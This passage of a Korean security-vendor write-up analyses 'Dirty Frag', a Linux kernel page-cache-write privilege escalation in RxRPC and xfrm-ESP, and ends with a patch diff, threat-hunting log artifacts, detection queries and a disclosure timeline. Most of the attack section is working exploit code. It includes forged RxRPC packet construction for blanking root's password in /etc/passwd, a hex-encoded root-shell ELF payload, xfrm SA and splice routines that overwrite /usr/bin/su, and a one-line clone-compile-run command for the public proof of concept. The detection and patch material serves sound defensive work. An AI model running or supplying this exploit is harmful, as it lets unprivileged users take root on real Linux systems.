원래 "root:x:0:0:root:/root:/bin/bash"인 줄을 "root::0:0:GGGGGG:/root:/bin/bash" 형태로 변경
◦
효과: 패스워드 필드가 빈 문자열(::)이 되면, PAM의 nullok 설정이 이를 허용하여 비밀번호 입력 없이 루트 셸을 얻을 수 있음
◦
조건: 4~15번 글자(총 12바이트)만 수정하면 되며, 그중 10~14번 글자는 '콜론, 널, 개행 문자'가 아니기만 하면 되는 약한 제약 조건을 가지며 이를 위해 세 번의 8바이트 쓰기를 겹쳐서 수행(Last-write-wins)
② 데이터 배치 전략
•
오프셋 4에서 8B 쓰기 (A): 4~5번 글자를 ::로 만듦.
•
오프셋 6에서 8B 쓰기 (B): 6~7번 글자를 0:으로 만듦. (이전 쓰기 일부를 덮어씀)
•
오프셋 8에서 8B 쓰기 (C): 8~9번 글자를 0:으로, 15번을 :으로 만듦.
③ 연쇄적 암호문 보정 (Chained-ciphertext Correction)
•
이전의 쓰기가 다음 쓰기의 입력값(C)에 영향을 주므로, 이를 계산에 반영
// Ca에 대해 Ka와 Pa(결과물)를 찾음 ("::")
find_K(Ca, /*pred*/ check_pa, &Ka, &Pa);
// Cb의 실제 값은 이전 결과물 Pa의 일부와 원본 Cb의 일부가 섞인 형태
memcpy(Cb_actual, Pa+2, 6); memcpy(Cb_actual+6, Cb+6, 2);
find_K(Cb_actual, check_pb, &Kb, &Pb); /* "0:" */
// Cc 역시 이전 결과물 Pb와 원본 Cc를 조합하여 실제 암호문 계산
memcpy(Cc_actual, Pb+2, 6); memcpy(Cc_actual+6, Cc+6, 2);
find_K(Cc_actual, check_pc, &Kc, &Pc); /* "0:GGGGGG:" */
JavaScript
복사
④ 커널 트리거 실행 단계
•
K_A, K_B, K_C가 결정되면 각 위치에 대해 커널 트리거를 실행
단계 1: 키 등록 및 핸드쉐이크
•
rxrpc.ko를 자동 로드하고, 찾은 키 K를 세션 키로 담아 RxRPC 토큰을 등록
build_rxrpc_v1_token(buf, K); /* session_key = K */
syscall(SYS_add_key, "rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
JavaScript
복사
•
가짜 서버(UDP 소켓)와 RxRPC 클라이언트를 생성하여 보안 수준을 RXRPC_SECURITY_AUTH로 강제
•
클라이언트가 RPC를 시작하면 가짜 서버가 위조된 CHALLENGE 패킷을 보냄
struct {
struct rxrpc_wire_header hdr;
struct rxkad_challenge ch;
} __attribute__((packed)) c = {0};
c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE;
c.hdr.securityIndex = 2;
c.hdr.epoch = htonl(epoch);
c.hdr.cid = htonl(cid);
c.ch.version = htonl(2);
c.ch.nonce = htonl(0xDEADBEEFu);
c.ch.min_level = htonl(1);
sendto(udp_srv, &c, sizeof(c), 0, /*client*/, ...);
JavaScript
복사
•
클라이언트는 K를 사용하여 보안 컨텍스트를 초기화하고, 이제 클라이언트는 K로 보호되는 보안 연결이 수립되었다고 믿게 됨
단계 2: 위조된 데이터 패킷 전송
•
암호화된 데이터의 체크섬(cksum)을 K를 사용해 미리 계산
compute_csum_iv(epoch, cid, /*sec_ix=*/2, K, csum_iv);
compute_cksum(cid, callN, /*seq=*/1, K, csum_iv, &cksum_h);
struct rxrpc_wire_header mal = {
.type = RXRPC_PACKET_TYPE_DATA, .flags = RXRPC_LAST_PACKET, .securityIndex = 2,
.epoch = htonl(epoch), .cid = htonl(cid), .callNumber = htonl(callN),
.seq = htonl(1), .cksum = htons(cksum_h), .serviceId = htons(svc_id),
};
JavaScript
복사
•
vmsplice와 splice를 사용하여 위조된 헤더(28바이트)와 /etc/passwd의 8바이트를 전송
•
MSG_SPLICE_PAGES에 의해 페이지 캐시 페이지 P가 송신 skb의 frag에 심어짐
int p[2]; pipe(p);
vmsplice(p[1], &(struct iovec){&mal, sizeof(mal)}, 1, 0);
splice(passwd_fd, &(loff_t){splice_off}, p[1], NULL, 8, SPLICE_F_NONBLOCK);
connect(udp_srv, /*client*/, ...);
splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + 8, 0);
JavaScript
복사
단계 3: 취약점 발현 (복호화 및 쓰기)
•
recvmsg 호출 시 커널 내부에서 다음 경로를 거쳐 페이지 캐시에 데이터가 기록
recvmsg(rxsk_cli, &m, 0)
rxrpc_recvmsg -> rxrpc_recvmsg_data -> rxrpc_verify_data
rxkad_verify_packet -> rxkad_verify_packet_1
skb_to_sgvec(skb, sg, sp->offset=28, 8)
skcipher_request_set_crypt(req, sg, sg, 8, iv.x) // src=dst (제자리 연산)
crypto_skcipher_decrypt -> crypto_pcbc_decrypt
// 실제 쓰기 발생: 페이지 P의 지정된 오프셋에 fcrypt_decrypt 결과 기록
fcrypt_decrypt(page_address(P) + splice_off, ct, K)
JavaScript
복사
⑤ 최종 결과
•
세 위치(4, 6, 8)에 대해 이 과정을 반복하면 /etc/passwd의 첫 줄이 변조되며 이후 부모 프로세스에서 execve("/usr/bin/su")를 실행하면, 오염된 페이지 캐시가 로드되고 패스워드 필드가 비어있으므로 비밀번호 없이 루트 권한을 획득
•
이 과정은 unshare()를 사용하지 않으며 일반 사용자에게 허용된 API(add_key, socket, splice, recvmsg)만 사용
3) Patch
•
이 취약점에 대한 공식적인 업스트림(Upstream) 패치는 아직 존재하지 않으며 취약점 발견자가 제출한 패치는 다음과 같음
•
기존 코드는 제자리 복호화(In-place decrypt)를 수행하기 직전에 오직 skb_cloned(skb) 여부만을 확인하기 때문에 이로 인해 splice()를 통해 조각(Frag) 내에 고정(Pinned)된 비선형(Non-linear) skb는 아무런 제약 없이 복호화 단계(Decrypt sink)까지 도달
•
이 패치는 검문소(Gate) 역할을 하는 조건문에 || skb->data_len을 추가하고 이를 통해 비선형 skb 또한 skb_copy()를 거쳐 격리되도록 강제
diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c
index fdd683261226..6c924ef55208 100644
--- a/net/rxrpc/call_event.c
+++ b/net/rxrpc/call_event.c
@@ -334,7 +334,7 @@ bool rxrpc_input_call_event(struct rxrpc_call *call)
if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA &&
sp->hdr.securityIndex != 0 &&
- skb_cloned(skb)) {
+ (skb_cloned(skb) || skb->data_len)) {
/* Unshare the packet so that it can be
* modified by in-place decryption.
*/
diff --git a/net/rxrpc/conn_event.c b/net/rxrpc/conn_event.c
index a2130d25aaa9..eab7c5f2517a 100644
--- a/net/rxrpc/conn_event.c
+++ b/net/rxrpc/conn_event.c
@@ -245,7 +245,7 @@ static int rxrpc_verify_response(struct rxrpc_connection *conn,
{
int ret;
- if (skb_cloned(skb)) {
+ if (skb_cloned(skb) || skb->data_len) {
/* Copy the packet if shared so that we can do in-place
* decryption.
*/
JavaScript
복사
•
리눅스 커널에서 skb->data_len이 0보다 크다는 것은 해당 네트워크 패킷(skb)이 비선형(Non-linear) 상태임을 의미하기 때문에 실제 데이터가 메인 버퍼가 아닌 조각(Frags)에 나뉘어 저장되어 있다는 뜻으로 splice()를 통한 공격은 바로 이 조각 영역에 페이지 캐시를 심는 방식을 사용
4) 변형 취약점
•
ikotaslabs에서 Linux 커널(7.1-rc2)에서 Dirty Frag 패밀리의 새로운 권한 상승 변종을 발견한 것으로
•
net/rxrpc/rxgk_common.h 내의 rxgk_decrypt_skb() 함수는 skb_to_sgvec()를 통해 skb의 페이지드 프래그(paged frag)를 직접 스캐터리스트(Scatterlist)화하며, 이후 AEAD 복호화(AES-256-CTS-HMAC-SHA1-96)를 제자리(in-place)에서 실행
•
이 과정에서 splice() 및 MSG_SPLICE_PAGES를 통해 심어진(planted) 페이지 캐시 페이지가 복호화 버퍼로 사용되어 데이터가 다시 쓰여지기 때문에, /etc/passwd 등 주요 파일의 변조를 통해 비특권 사용자가 루트(root) 권한을 획득 가능
기술적 분석 및 공격 원리
•
crypto/krb5enc.c는 복호화 후 MAC 검증(decrypt-then-MAC) 순서를 따릅니다. 따라서 HMAC 검증이 실패하는 시점에 이미 페이지 캐시는 파괴(수정)된 상태
•
공격자는 CBC 비트 플립(Bit-flip)과 CTS-3 스왑(swap) 기법을 조합하여, 자신이 직접 생성한 RxGK 세션 키를 이용해 원하는 대로 제어된 평문을 임의로 써넣을 수 있음
◦
이는 fcrypt의 키 무차별 대입(Brute-force)이 필요했던 기존 RxKAD 변종과 달리, 별도의 블루트포스 과정이 필요하지 않다는 점에서 더욱 강력
◦
공격 벡터: 비특권 사용자로부터 root 권한 획득까지의 실행 로그 확인 완료
◦
핵심 원리: skb_to_sgvec()가 외부(파일 시스템)의 메모리 주소를 참조하고 있는 상태에서 직접 쓰기를 수행하는 논리 결함
CVE-2026-43500과의 관계
•
본 취약점은 김현우(@v4bel) 씨에 의해 공표된 Dirty Frag 패밀리(CVE-2026-43500)의 RxGK 변종에 해당
◦
V4bel 씨의 Writeup에서는 RxKAD 보안 클래스(pcbc(fcrypt))에서의 실증이 공개되었으나,
◦
해당 변종은 RxGK 보안 클래스(AES-256-CTS-HMAC-SHA1-96)에 대해 독립적으로 PoC(개념 증명)를 구축
•
security@kernel.org에 독립적으로 보고를 수행했으며, Linux 커널 CNA(취약점 명명 기관)로부터 "디스패치 레벨(dispatch level)의 수정으로 두 변종이 모두 커버되므로 CVE-2026-43500에 통합한다"는 판정을 받음
•
본 게시글은 수정 패치가 메인라인(mainline)에 반영된 이후 작성된 기술 Writeup이며, 제로데이(0-day) 공개가 아님
3.3. Chaining
•
xfrm-ESP 페이지 캐시 쓰기는 Copy Fail과 유사하게 매우 강력한 임의 4바이트 쓰기(STORE) 프리미티브를 제공하며, 대부분의 리눅스 배포판에 포함
◦
그러나 이 방식은 네임스페이스를 생성할 수 있는 권한(unshare(CLONE_NEWUSER))을 필요
◦
우분투(Ubuntu)는 때때로 AppArmor 정책을 통해 비특권 사용자의 네임스페이스 생성을 차단하기도 하는데, 이러한 환경에서는 xfrm-ESP 취약점을 트리거할 수 없음
•
RxRPC 페이지 캐시 쓰기는 네임스페이스 생성 권한을 요구하지 않지만, rxrpc.ko 모듈 자체가 대부분의 배포판에 포함되어 있지 않다는 단점이 존재
◦
예를 들어, RHEL 10.1의 기본 빌드에는 rxrpc.ko가 포함되지 않지만 우분투의 경우, rxrpc.ko 모듈이 기본적으로 로드
•
이 두 가지 변종을 체이닝하면 서로의 사각지대를 완벽하게 보완할 수 있게 되는데 사용자 네임스페이스 생성이 허용된 환경에서는 ESP 익스플로잇이 먼저 실행
◦
반대로, 네임스페이스 생성이 차단되었지만 rxrpc.ko가 빌드되어 있는 우분투 환경에서는 RxRPC 익스플로잇이 작동
[체인 익스플로잇 실행 단계]
1.
자식 프로세스에서 ESP 변종 시도
•
unshare(USER|NET) 실행 → XFRM SA 등록 → splice 실행 → /usr/bin/su 수정 시도
2.
셸코드 주입 확인
•
/usr/bin/su의 엔트리 오프셋에 셸코드의 첫 번째 바이트가 제대로 심어졌는지 확인
•
수정 성공 시: 부모 프로세스가 forkpty + execve("/usr/bin/su")를 수행하여 루트 셸(root shell)을 획득
3.
수정 실패 시 (예: unshare가 EPERM을 반환, esp4.ko 미로드, 또는 SA 등록 실패 등)
•
RxRPC 변종으로 폴백(Fall back) : /etc/passwd 첫 번째 줄의 키(K) 검색 → 세 번의 splice 트리거 실행 → passwd 필드를 비움
•
forkpty + execve("/usr/bin/su") 실행 → PAM nullok 설정에 의해 인증 통과 → 루트 셸 획득
•
위와 같은 실행 흐름 덕분에, 단 하나의 익스플로잇 바이너리만으로 주요 리눅스 배포판 전체를 공략
◦
설령 환경 정책에 의해 한 가지 변종이 차단되더라도, 다른 변종이 그 간극을 메우는데 사용 가능
04. Dirty Flag PoC
•
실행방법 : git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
•
POC 초기화 방법 : echo 3 > /proc/sys/vm/drop_caches 또는 시스템 재부팅
◦
이 익스플로잇을 실행하면 페이지 캐시가 오염되기 때문에 오염된 페이지 캐시를 지우고 시스템 안전성을 확보하려면 아래 명령어 실행 필요
POC 코드 설명
•
_start at 0x400078: 프로그램의 실제 실행 시작점이 파일 내부 오프셋 0x78 지점으로 설정
•
PT_LOAD: 파일의 0xb8(184바이트)만큼을 메모리 주소 0x400000에 읽기 및 실행(R+X) 권한으로 로드하라는 커널 지침
/*
* 192-byte minimal x86_64 root-shell ELF.
* _start at 0x400078:
* setgid(0); setuid(0); setgroups(0, NULL);
* execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
* PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
*
* Setting TERM in the new shell's env silences the
* "tput: No value for $TERM" / "test: : integer expected" noise
* /etc/bash.bashrc and friends emit when TERM is unset.
*
* Code (from offset 0x78):
* // 권한상승(공격자가 현재 프로세스의 권한을 root로 승격하는 과정
* 31 ff xor edi, edi
* 31 f6 xor esi, esi
* 31 c0 xor eax, eax
* b0 6a mov al, 0x6a ; setgid
* 0f 05 syscall
* b0 69 mov al, 0x69 ; setuid
* 0f 05 syscall
* b0 74 mov al, 0x74 ; setgroups
* 0f 05 syscall
* // TERM=xtream 설정을 통해 /etc/bash.bashrc 같은 시스템 설정 파일들이 실행될 때 환경 변수 $TERM이 없으면 오류를 출력하는 것을 방지
* 6a 00 push 0 ; envp[1] = NULL
* 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
* 50 push rax ; envp[0]
* 48 89 e2 mov rdx, rsp ; rdx = envp
* 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
* 31 f6 xor esi, esi ; rsi = NULL (argv)
* // 앞서 준비한 환경변수와 함께 실자 관리자 쉘인 /bin/sh를 실행
* 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
* 0f 05 syscall ; execve("/bin/sh",NULL,envp)
* // 파일의 마지막 부분(프셋 0xa5 이후)에는 코드가 참조하는 실제 문자열들이 저장
* "TERM=xterm\0" (offset 0xa5..0xaf)
* "/bin/sh\0" (offset 0xb0..0xb7)
*/
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
JavaScript
복사
•
일반 사용자는 커널의 보안 정책(XFRM)을 수정할 권한이 없기 때문에 이를 우회하기 위해 사용자 네임스페이스를 생성
•
커널의 보안 정책 메모리에 공격자의 데이터(patch_seqhi)를 합법적인 값처럼 보관시키는 단계
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (sk < 0) return -1;
struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi = htonl(spi); // 패킷을 식별할 ID
xs->id.proto = IPPROTO_ESP;
xs->saddr.a4 = inet_addr("127.0.0.1");
xs->family = AF_INET;
xs->mode = XFRM_MODE_TRANSPORT;
xs->replay_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM_STATE_ESN; // 확장 시퀀스 번호(ESN)모드 활성화(취약점 유발)
xs->lft.soft_byte_limit = (uint64_t)-1;
xs->lft.hard_byte_limit = (uint64_t)-1;
xs->lft.soft_packet_limit = (uint64_t)-1;
xs->lft.hard_packet_limit = (uint64_t)-1;
xs->sel.family = AF_INET;
xs->sel.prefixlen_d = 32;
xs->sel.prefixlen_s = 32;
xs->sel.daddr.a4 = inet_addr("127.0.0.1");
xs->sel.saddr.a4 = inet_addr("127.0.0.1");
{
char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
memset(aa->alg_key, 0xAA, 32);
put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
}
{
char alg_buf[sizeof(struct xfrm_algo) + 16];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
ea->alg_key_len = 16 * 8;
memset(ea->alg_key, 0xBB, 16);
put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
}
{
struct xfrm_encap_tmpl enc;
memset(&enc, 0, sizeof(enc));
enc.encap_type = UDP_ENCAP_ESPINUDP;
enc.encap_sport = htons(ENC_PORT);
enc.encap_dport = htons(ENC_PORT);
enc.encap_oa.a4 = 0;
put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
}
{
char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
memset(esn_buf, 0, sizeof(esn_buf));
struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; // patch_seqhi는 공격자가 파일에 쓰고 싶은 4바이트 데이터로 커널은 이것을 단순한 '번호로'생각하고 메모리에 저장
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = REPLAY_SEQ;
esn->oseq_hi = 0;
esn->seq_hi = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } // 넷링크 메시지를 통해 커널에 SA 등록
char rbuf[4096];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { close(sk); return -1; }
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
if (rh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(rh);
if (e->error) { close(sk); return -1; }
}
close(sk);
return 0;
}
JavaScript
복사
•
splice를 사용하여 타겟 파일의 메모리 주소를 네트워크 패킷에 직접 꽂아 넣는 기능을 수행
•
splice를 쓰는 이유는 파일의 내용을 복사하지 않고, 파일이 올라가 있는 메모리 그 자체를 패킷의 데이터 조각으로 사용하기 위함
static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_recv < 0) return -1;
int one = 1;
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa_d = {
.sin_family = AF_INET,
.sin_port = htons(ENC_PORT),
.sin_addr = { inet_addr("127.0.0.1") },
};
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_recv); return -1;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
close(sk_recv); return -1;
}
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_send < 0) { close(sk_recv); return -1; }
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_send); close(sk_recv); return -1;
}
int file_fd = open(path, O_RDONLY); // [1] 타겟파일(/usr/bin/su)을 읽기 전용으로 오픈
if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2]; //[2] 파이프 생성(데이터 전달 통로)
if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
off_t off = offset;
ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // [4] splice: 파일의 페이지 캐시(메모리)를 파이프에 연결 (복사가 아닌 주소 연결)하고 이 시점에 패킷 내부에 파일의 실제 메모리 주소가 위치
if (s != 16) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // [5] 전송: 파이프의 내용을 네트워크 소켓으로 쏘고 이 커널의 수신엔진(esp_input)이 이 패킷을 처리 시작
/* still proceed regardless of splice rc — kernel may have already
* decrypted the page in the time between splice and recv */
usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]);
close(sk_send); close(sk_recv);
return s == 40 ? 0 : -1;
}
JavaScript
복사
•
corrupt_su 와 su_lpe_main에서 전체 과정을 조율하여 루트 권한 탈취
•
한 번에 4바이트씩만 쓸 수 있으므로, 쉘코드 전체(192바이트)를 쓰기 위해 48번 반복해서 커널을 속이며 작업이 끝나면 메모리 상의 /usr/bin/su는 완전히 다른 프로그램이 되어 있는 상태
static int corrupt_su(void) {
setup_userns_netns(); // 1단계: 환경 준비
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
// [1] 쉘코드를 4바이트씩 쪼개어 장전
uint32_t seqhi = ... shell_elf[i] ...;
add_xfrm_sa(spi, seqhi); // 2단계: SA 등록
// [2] 파일 오프셋을 옮겨가며 쓰기 실행
do_one_write(TARGET_PATH, off, spi); // 3단계: 트리거
}
}
int su_lpe_main(int argc, char **argv) {
if (fork() == 0) {
corrupt_su(); // 자식 프로세스에서 파일 오염 실행
_exit(0);
}
wait(NULL); // 작업 완료 대기
// [4] 이제 /usr/bin/su는 루트 셸을 실행하는 악성코드가 되었습니다.
// 이를 실행하여 루트 권한을 얻습니다.
execl(TARGET_PATH, "su", NULL);
}
JavaScript
복사
05. SPIDER ExD Threat Hunting 방안
•
테스트 환경
◦
Ubuntu 24.04.2 LTS:기본 설정
◦
Rocky Linux 9.7 (Blue Onyx): `dnf install gcc`, gcc라이브러리 설치가 선행 필요
•
SPIDER ExD에서의 탐지 조건(로그 소스)
◦
Debian: (test by Ubuntu): `/var/log/auth.log`
◦
RHEL: (test by Rocky Linux): `/var/log/messages`
◦
RHEL: `/var/log/audit/audit.log`
5.1. Ubuntu Threat Hunting 방안
•
Ubuntu에서 해당Exploit을 시도하는 경우 /var/log/auth.log 경로에 아래와 같은 로그가 생성
•
시스템 기본 인증 모듈PAM에서 su 인증 단계를 처리했으나, root 계정의 비밀번호가 비어있는 것으로 인식하고 결과적으로 패스워드를 요구하지 않은 채 root 권한으로 승인한 케이스
2026-05-08T12:17:09.406225+09:00 exdubuntutest su: pam_unix(su-l:auth): user [root] has blank password; authenticated without it
2026-05-08T12:17:09.409377+09:00 exdubuntutest su[1977]: (to root) igloo on pts/1
2026-05-08T12:17:09.409496+09:00 exdubuntutest su[1977]: pam_unix(su-l:session): session opened for user root(uid=0) by igloo(uid=1000)
JavaScript
복사
5.2. Rocky Linux Threat Hunting 방안
•
Rocky Linux의 경우 CVE-2026-31431(Copy Fail) 취약점 패턴처럼 `/var/log/secure`에서 PAM 로그가 쌓이지 않는 현상이 발생하기 때문에 이전 정책으로 탐지 불가
•
단, 추가적인 아티팩트는 /var/log/messages에서 확인 가능(process 'su' launched '/bin/sh' with NULL argv: empty string added라는 로그 생성)
May 8 12:34:10 localhost kernel: alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac(sha256-avx2),cbc-aes-aesni)))
May 8 12:34:17 localhost kernel: process 'su' launched '/bin/sh' with NULL argv: empty string added
JavaScript
복사
5.3. Rocky Linux Threat Hunting 방안
•
Ubuntu Kernel에서 지원하지 않는 ‘MAC_IPSEC_EVENT’를 통하여 해당 취약점을 탐지 가능(rule 미설정)
•
/var/log/audit/audit.log경로에 아래와 같은 로그 생성(op=SAD-add auid=1000 ses=5 subj=kernel src=127.0.0.1 dst=127.0.0.1 라는 로그 생성)
type=MAC_IPSEC_EVENT msg=audit(1778214512.072:331): op=SAD-add auid=1000 ses=5 subj=kernel src=127.0.0.1 dst=127.0.0.1 spi=3735928369(0xdeadbe31) res=1AUID="igloo"
JavaScript
복사
5.4. SPIDER ExD 추가 탐지 정책(단일룰)
1) [Linux] Blank 패스워드를 통한 비정상 root 계정 전환 시도
•
테스트 환경: Ubuntu 24.04
•
탐지 소스: system
•
MITRE ATT&CK: [TA0004, T1068]
•
탐지 쿼리
/* 테스트 결과 Ubuntu의 /var/log/auth.log에서 확인됨. */
AND sublog = 'auth'
/* blank password를 통한 root 전환 시도 */
msg like '%user [root] has blank password; authenticated without it'
JavaScript
복사
2) [Linux] NULL argv를 이용한 로컬 권한 상승(LPE) 시도 탐지
•
테스트 환경: Rocky Linux 9.7
•
탐지 소스: system
•
MITRE ATT&CK: [TA0004, T1068]
•
탐지 쿼리
/* Linux Kernel에서 확인됨 */
proc_name = 'kernel'
/* 프로세스 su, pkexec 등이 될 수 있고, Shell같은 경우 /bin/sh, /bin/bash가 될 수 있음. */
msg like '%process \'%\' launched \'%\' with NULL argv: empty string added'
JavaScript
복사
3) [Linux] Root가 아닌 계정으로부터 다수의 비정상 IPsec 조작 (Dirty Frag 징후)
•
테스트 환경: Rocky Linux 9.7
•
탐지 소스: system
•
임계치: 5초 당 20건 이상 발생 (실제는 초단위로 4X건 발생)
•
탐지 쿼리
/* /var/log/audit/audit.log에서 탐지한다. Rocky Linux에서 audit.rule은 기본값 */
sublog = 'audit'
/* IPSEC 이벤트 발생 */
AND type = 'MAC_IPSEC_EVENT'
/* 2. 일반 사용자(root가 아닌)의 가짜 IPsec 터널(루프백) 생성 시도 탐지 */
/* auid가 0이 아닌 1 이상의 숫자(일반 유저) 매칭 */
AND regexp(msg, 'op=SAD-add auid=[1-9][0-9]* .+ subj=kernel src=127\.0\.0\.1 dst=127\.0\.0\.1')
JavaScript
복사
06. Dirty Frag(ESP) 공개 및 Timeline
•
2026-04-30: 여러 주요 배포판에서 루트 권한을 획득할 수 있는 무기화된 익스플로잇(Weaponized Exploit)과 ESP 취약점에 대한 상세 정보를 security@kernel.org에 제출함
•
2026-04-30: ESP 취약점에 대한 패치(Patch)를 netdev 메일링 리스트에 제출함. 이 시점에 해당 이슈에 대한 정보가 대중에 공개됨
•
2026-04-30 (+9시간): Kuan-Ting Chen이 재현 코드(Reproducer)가 포함된 ESP 취약점 보고서를 security@kernel.org에 제출함
•
2026-05-04: Kuan-Ting Chen이 '공유 프래그(shared-frag)' 접근 방식을 사용한 개선된 패치를 netdev 메일링 리스트에 제출함
•
2026-05-07: 해당 패치가 netdev 트리(Tree)에 최종 병합(Merge)됨
•
2026-05-07: 취약점 및 익스플로잇에 대한 상세 정보를 linux-distros 메일링 리스트에 제출함. 엠바고(공개 유예) 기간은 5일로 설정되었으나, 만약 엠바고 기간 중 제3자가 인터넷에 익스플로잇을 게시할 경우 Dirty Frag 익스플로잇을 즉시 공개하기로 합의함
•
2026-05-07: 관련 없는 제3자에 의해 이 취약점에 대한 상세 정보와 익스플로잇이 공개적으로 게시되면서 엠바고가 깨짐
•
2026-05-07: 배포판 관리자들로부터 Dirty Frag에 대한 전체 공개 합의를 얻은 후, 전체 Dirty Frag 문서를 공식 발표함





